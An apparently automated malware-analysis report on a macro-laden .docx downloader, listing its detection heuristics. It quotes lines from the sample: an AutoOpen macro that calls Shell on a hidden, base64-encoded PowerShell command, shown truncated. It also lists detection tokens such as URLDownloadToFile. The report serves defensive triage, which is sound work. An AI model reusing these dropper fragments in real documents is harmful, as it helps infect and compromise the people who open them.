Malicious Office (OOXML) / .DOCX — malware analysis report

Heuristics 10

• ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
  ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
• VBA project inside OOXML medium 5 related findings OOXML_VBA
  Document contains a VBA project — VBA macros present
• Potential Shell call in VBA critical OLE_VBA_SHELL
  Potential Shell call in VBA
  Matched line in script

    Call Shell(tgz, vbHide)

• PowerShell reference in VBA critical OLE_VBA_PS
  PowerShell reference in VBA
  Matched line in script

    tgz = "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQBlAGwAcwBlAHsAJABiAD0AJwBwAG8AdwB" _

• VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
  Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
• AutoOpen macro low OLE_VBA_AUTOOPEN
  AutoOpen macro
  Matched line in script

  Sub AutoOpen()

• Workbook_Open macro low OLE_VBA_WBOPEN
  Workbook_Open macro
  Matched line in script

  Sub Workbook_Open()

• Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
  One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
• Macro/content-enable lure medium SE_ENABLE_LURE
  Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)

  • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

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